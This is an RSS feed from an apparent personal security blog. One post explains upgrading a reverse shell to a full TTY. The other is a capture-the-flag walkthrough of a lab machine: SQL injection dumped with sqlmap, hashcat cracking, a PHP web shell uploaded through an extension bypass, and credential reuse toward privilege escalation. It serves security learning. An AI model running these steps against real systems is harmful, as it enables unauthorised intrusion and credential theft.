<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Escalofrio Blog</title><description>Just Me</description><link>https://scriptos0.github.io/</link><language>en</language><item><title>TTY Treatment</title><link>https://scriptos0.github.io/posts/tty_treatment/tty_treatment/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/tty_treatment/tty_treatment/</guid><description>When you get a reverse shell during a pentest or a CTF, the shell you receive is usually very limited. It is not a real terminal, just a raw stream of input and output over a socket. This is where the TTY treatment comes in, the process of upgrading that basic shell into a fully interactive one.</description><pubDate>Fri, 30 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Often, when we gain a shell, that shell isn&apos;t fully interactive and doesn&apos;t allow us to use &lt;strong&gt;Ctrl + L&lt;/strong&gt;, &lt;strong&gt;Ctrl + C&lt;/strong&gt;, etc...&lt;/p&gt;
&lt;p&gt;So in this article, we&apos;re going to learn how to turn a simple shell into a fully interactive one&lt;/p&gt;
&lt;h1&gt;Bash&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;script /dev/null -c bash
# Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on your own machine. It prints your terminal’s current rows and columns &lt;strong&gt;(e.g. 44 185)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on the target, using the numbers from the previous command. This tells the remote shell the correct window size, fixing text wrapping and preventing programs like nano, vim, etc from rendering incorrectly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty rows &amp;lt;number&amp;gt; columns &amp;lt;number&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ZSH&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;script /dev/null -c zsh
# Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=zsh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on your own machine. It prints your terminal’s current rows and columns &lt;strong&gt;(e.g. 44 185)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on the target, using the numbers from the previous command. This tells the remote shell the correct window size, fixing text wrapping and preventing programs like nano, vim, etc from rendering incorrectly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty rows &amp;lt;number&amp;gt; columns &amp;lt;number&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Zsh has its own startup files (.zshrc, .zprofile) separate from bash’s (.bashrc, .bash_profile). If the target’s zsh loads a .zshrc with aliases, prompt themes (like oh-my-zsh), or plugins, your prompt may look different or even break slightly on a minimal target — worth a one-line callout so readers aren’t confused if the prompt looks unusual after upgrading&lt;/p&gt;
&lt;h1&gt;Step-By-Step: What Each Command Does&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Spawn a pseudo-terminal on the target&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;script /dev/null -c bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;script&lt;/strong&gt; is a Unix utility that records a terminal session. Here we’re not using it to record — we’re abusing a side effect: it allocates a real PTY (pseudo-terminal) for whatever command you give it&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;/dev/null&lt;/strong&gt; tells it to discard the typescript log instead of saving it to a file&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-c bash&lt;/strong&gt; tells it which program to run inside that PTY — bash in this case&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Result:&lt;/em&gt; instead of a raw socket shell, you now have a shell running inside a proper PTY, which supports job control, signals, and terminal features.&lt;/p&gt;
&lt;p&gt;For a zsh target, this becomes script /dev/null -c zsh, as long as zsh is actually installed on that machine (check first with which zsh or cat /etc/shells).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Background the shell and configure your own terminal&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Ctrl+Z
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This suspends the remote shell process and drops you back to your own local shell, in the background&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty raw -echo; fg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;stty raw&lt;/strong&gt; switches your own terminal into raw mode: keystrokes are sent directly to the program instead of being line-buffered and processed by your terminal driver. This is what makes arrow keys, Ctrl+C, and tab-completion pass through correctly&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-echo&lt;/strong&gt; disables local echo, since the remote shell will now handle displaying what you type (otherwise you’d see every character doubled)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;fg&lt;/strong&gt; brings the suspended job back to the foreground, now interacting through your raw terminal&lt;/p&gt;
&lt;p&gt;This part is identical whether your attacking terminal runs &lt;strong&gt;bash&lt;/strong&gt; or &lt;strong&gt;zsh&lt;/strong&gt; — stty, job control, and fg work the same in both.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reset and set the environment&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;reset xterm
export TERM=xterm
export SHELL=bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;reset xterm&lt;/strong&gt; clears terminal corruption and reinitializes terminal settings, using xterm as the terminal type&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;export TERM=xterm&lt;/strong&gt; tells programs on the target what terminal type to expect, so things like vim, nano, or less render correctly&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;export SHELL=bash&lt;/strong&gt; sets the SHELL environment variable to match the shell actually running — change this to export SHELL=zsh if that’s what you spawned in step 1&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Match your terminal dimensions&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;stty size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on your own machine. It prints your terminal’s current rows and columns &lt;strong&gt;(e.g. 44 185)&lt;/strong&gt;
bash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty rows 44 columns 185
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this on the target, using the numbers from the previous command. This tells the remote shell the correct window size, fixing text wrapping and preventing programs like vim from rendering incorrectly&lt;/p&gt;
&lt;h1&gt;Bash vs Zsh — What Actually Differs&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Bash&lt;/th&gt;
&lt;th&gt;zsh&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Spawning the PTY&lt;/td&gt;
&lt;td&gt;&lt;code&gt;script /dev/null -c bash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;script /dev/null -c zsh&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SHELL&lt;/code&gt; variable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export SHELL=bash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export SHELL=zsh&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Job control (&lt;code&gt;Ctrl+Z&lt;/code&gt;, &lt;code&gt;fg&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;works&lt;/td&gt;
&lt;td&gt;works&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;stty&lt;/code&gt; commands&lt;/td&gt;
&lt;td&gt;works&lt;/td&gt;
&lt;td&gt;works&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Availability on targets&lt;/td&gt;
&lt;td&gt;almost always present&lt;/td&gt;
&lt;td&gt;rarely installed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>Usage</title><link>https://scriptos0.github.io/posts/usage/usage/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/usage/usage/</guid><description>Usage is an easy Linux machine that features a blog site vulnerable to SQL injection, which allows the administrator’s hashed password to be dumped and cracked. This leads to access to the admin panel, where an outdated Laravel module is abused to upload a PHP web shell and obtain remote code execution. On the machine, plaintext credentials stored in a file allow SSH access as another user, who can run a custom binary as root. The tool makes an insecure call to 7zip, which is leveraged to read the root user’s private SSH key and fully compromise the system.</description><pubDate>Sun, 25 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;First, we check which &lt;strong&gt;TCP ports&lt;/strong&gt; are open&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sS -p- --open -T3 10.129.91.171 -vvv -n -Pn -oN allports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on the TTL, we can confirm that this is a Linux machine:&lt;/p&gt;
&lt;p&gt;And as we can see, we have two services: &lt;strong&gt;HTTP&lt;/strong&gt; and &lt;strong&gt;SSH&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s run a more in depth scan to gather some information about these two services&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p22,80 10.129.91.171 -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Final times for host: srtt: 45156 rttvar: 26823  to: 152448
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we take a look at the http-title script, it says &lt;strong&gt;&quot;Did not follow redirect to http://usage.htb/&quot;&lt;/strong&gt; this happens because our machine cannot resolve the domain usage.htb. So let&apos;s map it in our /etc/hosts file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./redirect.png&quot; alt=&quot;redirect&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Web-Server Enumeration&lt;/h1&gt;
&lt;p&gt;Now let&apos;s take a look at the HTTP service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./httpservice.png&quot; alt=&quot;httpservice&quot; /&gt;&lt;/p&gt;
&lt;p&gt;the first thing we can do is use &lt;strong&gt;Wappalyzer&lt;/strong&gt; or from the terminal &lt;code&gt;whatweb&lt;/code&gt; to identify the technologies used by that service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whatweb http://usage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.129.91.171], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the HTTP service, we can see that there is a button labeled &lt;strong&gt;&quot;admin&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./adminbutton.png&quot; alt=&quot;adminbutton&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asubdomain.png&quot; alt=&quot;subdomain&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Subdomain Found&lt;/h1&gt;
&lt;p&gt;This redirects us to a subdomain that isn&apos;t listed in the /etc/hosts file, so it won&apos;t work&lt;/p&gt;
&lt;p&gt;So let&apos;s add it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./subdomainadded.png&quot; alt=&quot;subdomainadded&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s see what&apos;s in that subdomain&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./adminpanel.png&quot; alt=&quot;adminpanel&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we have an admin panel&lt;/p&gt;
&lt;p&gt;Since we don&apos;t have credentials, let&apos;s continue in the root domain&lt;/p&gt;
&lt;p&gt;As we saw earlier, there are two more buttons, one to sign up and another to log in&lt;/p&gt;
&lt;p&gt;So let&apos;s create an account and log in&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./nothingvaluable.png&quot; alt=&quot;nothingvaluable&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We didn&apos;t find anything of value within the web service, so now we can start launching an active enumeration, essentially a brute-force attack to find system paths / directories&lt;/p&gt;
&lt;h1&gt;Brute-Force Attack Against Directories&lt;/h1&gt;
&lt;p&gt;In this case, we&apos;ll use &lt;code&gt;Gobuster&lt;/code&gt; to practice using different tools&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 50 -b 503,404 -xl 6603
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Gobuster v3.8.2
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://usage.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404
[+] Exclude Length:          6603
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
dashboard            (Status: 302) [Size: 334] [--&amp;gt; http://usage.htb/login]
Progress: 220557 / 220557 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We still don&apos;t have any information that could help us&lt;/p&gt;
&lt;p&gt;Anyways, there&apos;s a button on the web service that we still need to check out...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./resetpasswordbutton.png&quot; alt=&quot;resetpasswordbutton&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./forget-password-entry.png&quot; alt=&quot;forgetpasswordentry&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see how it works&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sendingresetpassword.png&quot; alt=&quot;sendingresetpassword&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./greenbutton.png&quot; alt=&quot;greenbutton&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we can see a message that says, &lt;strong&gt;&quot;We have e-mailed your password reset link&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since we know the website has a login portal, we can infer that it uses a database behind the scenes, so we can try to perform basic &lt;strong&gt;SQL injections&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;SQL Injection Found&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./basicsqli.png&quot; alt=&quot;basicsqli&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./basicsqlisend.png&quot; alt=&quot;basicsqlisend&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, it&apos;s still giving us the OK&lt;/p&gt;
&lt;p&gt;To confirm if the query is being executed in the database, let&apos;s add “something” incorrect&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./incorrectquery.png&quot; alt=&quot;incorrectquery&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./differentmsg.png&quot; alt=&quot;differentmsg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, the message is no longer the same&lt;/p&gt;
&lt;p&gt;Therefore, we have found a field that is vulnerable to &lt;strong&gt;SQL injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(From now on, we&apos;ll be using a different IP address since I&apos;ve reset the machine)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this case, we&apos;re going to use &lt;code&gt;sqlmap&lt;/code&gt; to exploit this SQL injection&lt;/p&gt;
&lt;p&gt;Let&apos;s start by saving the request in which we discovered the SQL injection to a file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./data.png&quot; alt=&quot;data&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;ll use this file specifically the &lt;strong&gt;“email”&lt;/strong&gt; field so that &lt;code&gt;sqlmap&lt;/code&gt; can test queries there&lt;/p&gt;
&lt;p&gt;Since we don&apos;t know the names of the databases being used, we launched an attack to find them out&lt;/p&gt;
&lt;h1&gt;Exploiting SQLI&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r data.txt -p email --batch --level 3 --dbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./databasesfound.png&quot; alt=&quot;databasesfound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have the names of the databases, let&apos;s list the &lt;strong&gt;tables&lt;/strong&gt; that catch our attention the most, in this case &lt;strong&gt;usage_blog&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r data.txt -p email --batch --level 3 -D &apos;usage_blog&apos; --tables
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./tablesindatabasefound.png&quot; alt=&quot;tablesindatabasefound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have the tables, let&apos;s list the &lt;strong&gt;columns&lt;/strong&gt; we&apos;re most interested in, in this case &lt;strong&gt;admin_users&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r data.txt -p email --batch --level 3 -D &apos;usage_blog&apos; -T &apos;users&apos; --columns
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./columns.png&quot; alt=&quot;columns&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we&apos;ve looked at some interesting columns, let&apos;s try to list the data&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r data.txt -p email --batch --level 3 -D &apos;usage_blog&apos; --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Hashed Admin Password Found&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./valuabledata.png&quot; alt=&quot;valuabledata&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we&apos;ve obtained the administrator&apos;s password, but it&apos;s hashed, so the next step would be to crack it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2&apos; &amp;gt; password_hashed.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, to find out the hash type, we can use this website&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;https://hashes.com/en/tools/hash_identifier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now all we have to do is copy and paste the hash so the page will tell us what type of hash is being used&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hashtype.png&quot; alt=&quot;hashtype&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we see an interesting message: &lt;em&gt;&lt;em&gt;&quot;Possible algorithms: bcrypt $2&lt;/em&gt;$, Blowfish (Unix)&quot;&lt;/em&gt;*&lt;/p&gt;
&lt;p&gt;To crack this hash, we&apos;re going to use &lt;code&gt;Hashcat&lt;/code&gt;, but first we need to find the ID number for this type of hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat --example-hashes | grep -i &quot;Blowfish&quot; -B 5 -A 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./numberidhash.png&quot; alt=&quot;numberidhash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see from the name, it says bcrypt $2*$, Blowfish (Unix), and the hash mode is &lt;strong&gt;#3200&lt;/strong&gt;, that number is the one we need to crack the hash&lt;/p&gt;
&lt;p&gt;Now that everything is ready, let&apos;s try to crack it&lt;/p&gt;
&lt;h1&gt;Hash Cracking&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;sudo hashcat -m 3200 -a 0 password_hashed.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./passwordinplaintext.png&quot; alt=&quot;passwordinplaintext&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were able to crack it, password: &lt;strong&gt;whatever1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With this plain-text information, let&apos;s try to log in to the admin panel we saw earlier in the web service&lt;/p&gt;
&lt;p&gt;credentials: &lt;strong&gt;admin:whatever1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./loggedin.png&quot; alt=&quot;loggedin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./wearein.png&quot; alt=&quot;wearein&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;re in...&lt;/p&gt;
&lt;p&gt;After exploring almost all the features available within the web service, I found something very interesting...&lt;/p&gt;
&lt;h1&gt;Malicious PHP file&lt;/h1&gt;
&lt;p&gt;If we go to the user settings section, we can see that we can change our profile picture&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./pfp.png&quot; alt=&quot;pfp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With that in mind, let&apos;s try uploading a PHP file&lt;/p&gt;
&lt;p&gt;But first, let&apos;s create it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./phpcode.png&quot; alt=&quot;phpcode&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s try uploading that file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./onlyjpgfiles.png&quot; alt=&quot;onlyjpgfiles&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it didn&apos;t work, that&apos;s because only &quot;image&quot; files can be uploaded&lt;/p&gt;
&lt;p&gt;Now, what we can do is upload the same file but with a &lt;strong&gt;.jpg&lt;/strong&gt; extension to see if the server allows it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mv shell.php shell.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./itworks.png&quot; alt=&quot;itworks&quot; /&gt;&lt;/p&gt;
&lt;p&gt;it worked!&lt;/p&gt;
&lt;p&gt;But before uploading the image, we should intercept the request with &lt;code&gt;Burp Suite&lt;/code&gt;, maybe we can change the parameter in the request from &lt;strong&gt;.jpg&lt;/strong&gt; to &lt;strong&gt;.php&lt;/strong&gt; and inject PHP code into the device where this web service is hosted&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;burpsuite 2&amp;gt;/dev/null &amp;amp; disown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./burpsuiterequest.png&quot; alt=&quot;burpsuiterequest&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./jpgtophp.png&quot; alt=&quot;jpgtophp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, we don&apos;t know if it works, but if it does, we&apos;d better set up a reverse shell just in case&lt;/p&gt;
&lt;h1&gt;Reverse-Shell&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./onelinerreverseshell.png&quot; alt=&quot;onelinerreverseshell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once everything is ready, all we have to do is click the &quot;Forward&quot; button and see if we get a connection&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./werreceivetheconnection.png&quot; alt=&quot;wereceivetheconnection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we&apos;ve been able to compromise the machine&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;First, let&apos;s see which user we compromised&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./userdash.png&quot; alt=&quot;userdash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s move on to the home directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /home/dash
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;total 52
drwxr-x--- 6 dash dash 4096 Oct 28 17:34 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    5 Oct 28 17:34 .monit.pid
-rw------- 1 dash dash 1192 Oct 28 17:34 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Oct 28 17:05 user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And inside here, we can see the user&apos;s flag &lt;strong&gt;&quot;user.txt&quot;&lt;/strong&gt;, but also an interesting file called &lt;strong&gt;.monitrc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see what&apos;s inside...&lt;/p&gt;
&lt;h1&gt;Possible Credentials Found&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;cat .monitrc
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile &quot;/var/run/apache2/apache2.pid&quot;
    if cpu &amp;gt; 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage &amp;gt; 80% for 2 cycles then alert
    if cpu usage (user) &amp;gt; 70% for 2 cycles then alert
        if cpu usage (system) &amp;gt; 30% then alert
    if cpu usage (wait) &amp;gt; 20% then alert
    if loadavg (1min) &amp;gt; 6 for 2 cycles then alert 
    if loadavg (5min) &amp;gt; 4 for 2 cycles then alert
    if swap usage &amp;gt; 5% then alert

check filesystem rootfs with path /
       if space usage &amp;gt; 80% then alert
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here there appear to be supposed credentials for the &lt;strong&gt;&quot;admin&quot;&lt;/strong&gt; user&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;admin:3nc0d3d_pa$$w0rd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./possiblecredentials.png&quot; alt=&quot;possiblecredentials&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From what we can see, these credentials can be used with a service running on port 2812 locally&lt;/p&gt;
&lt;p&gt;One option we can consider is setting up port forwarding to see if we can access that service&lt;/p&gt;
&lt;p&gt;But first, let&apos;s use the password we found to see if we can gain access to another user&lt;/p&gt;
&lt;p&gt;If we go to the home directory, we can see that there are two users&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /home
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./xanderuser.png&quot; alt=&quot;xanderuser&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Taking Control Of User Xander&lt;/h1&gt;
&lt;p&gt;Let&apos;s try to log in as this new user using the credentials we found&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;su xander
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Password: 3nc0d3d_pa$$w0rd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./loginasthisnewuser.png&quot; alt=&quot;loginasthisnewuser&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we&apos;ve taken control of the user Xander!&lt;/p&gt;
&lt;p&gt;Now let&apos;s see which commands the user &lt;strong&gt;Xander&lt;/strong&gt; can run with &lt;strong&gt;elevated privileges&lt;/strong&gt; without entering a password&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
